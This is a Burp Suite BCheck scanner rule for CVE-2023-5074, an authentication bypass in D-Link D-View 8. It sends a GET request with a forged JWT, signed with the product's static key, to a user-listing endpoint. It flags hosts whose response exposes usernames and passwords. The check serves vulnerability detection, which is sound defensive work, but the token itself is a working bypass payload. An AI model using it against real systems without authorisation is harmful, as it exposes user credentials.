CVE-2023-5074 D-Link D-View 8 v20128 - Authentication Bypass.bcheck

metadata:
    language: v1-beta
    name: "CVE-2023-5074 D-Link D-View 8 v2.0.1.28 - Authentication Bypass"
    description: "Check for CVE-2023-5074"
    author: "DemonGod"
    tags: "CVE-2023-5074","D-Link","auth-bypass"


define:
    potential_path = "/dview8/api/usersByLevel"


given host then
    send request called check:
        method: "GET"
        path: {potential_path}
        headers:
            "Authorization": "eyJhbGciOiAiSFMyNTYiLCJ0eXAiOiAiand0In0.eyJvcmdJZCI6ICIxMjM0NTY3OC0xMjM0LTEyMzQtMTIzNC0xMjM0NTY3ODA5YWEiLCJ1c2VySWQiOiAiNTkxNzFkNTYtZTZiNC00Nzg5LTkwZmYtYTdhMjdmZDQ4NTQ4IiwidHlwZSI6IDMsImtleSI6ICIxMjM0NTY3OC0xMjM0LTEyMzQtMTIzNC0xMjM0NTY3ODkwYmIiLCJpYXQiOiAxNjg2NzY1MTk4LCJqdGkiOiAiZmRhOGU1YzNlNWY1MTQ5MDMzZThiM2FkNWI3ZDhjMjUiLCJuYmYiOiAxNjg2NzYxNTk4LCJleHAiOiAxODQ0NDQ1MTk4fQ.5swhQdiev4r8ZDNkJAFVkGfRTIaUQlwVue2AI18CrcI"


    if {check.response.status_code} is "200" and "userName" in {check.response.body} and "passWord" in {check.response.body} and "isEmailActivate" in {check.response.body} and "application/json" in {check.response.headers} then
        report issue:
            severity: high
            confidence: certain
            detail: "Use of a static key to protect a JWT token used in user authentication can allow for an authentication bypass in D-Link D-View 8 v2.0.1.28."
            remediation: "Upgrade to the latest version to mitigate this vulnerability."
    end if